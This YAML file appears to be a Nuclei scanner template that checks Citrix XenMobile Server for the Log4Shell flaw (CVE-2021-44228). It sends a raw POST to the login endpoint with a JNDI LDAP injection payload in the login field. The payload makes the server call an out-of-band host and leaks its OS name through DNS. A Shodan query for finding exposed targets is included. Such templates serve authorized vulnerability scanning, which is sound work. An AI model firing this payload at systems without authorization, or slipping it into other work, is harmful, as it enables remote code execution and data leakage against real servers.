id: xenmobile-server-log4j

info:
  name: Citrix XenMobile Server - Remote Code Execution (Apache Log4j)
  author: DhiyaneshDK
  severity: critical
  reference: https://support.citrix.com/article/CTX335705/citrix-security-advisory-for-cve202144228-cve202145046-cve202145105-and-cve202144832
  metadata:
    verified: true
    shodan-query: title:"XenMobile"
  tags: cve,cve2021,rce,jndi,log4j,xenmobile,oast

requests:
  - raw:
      - |
        @timeout: 20s
        POST /zdm/cxf/login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/zdm/login_xdm_uc.jsp

        login=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&password=admin

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+'  # Match for extracted ${sys:os.name} variable

      - type: word
        part: body
        words:
          - '<h1>500 Server Internal Error'

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'  # Print extracted ${sys:os.name} in output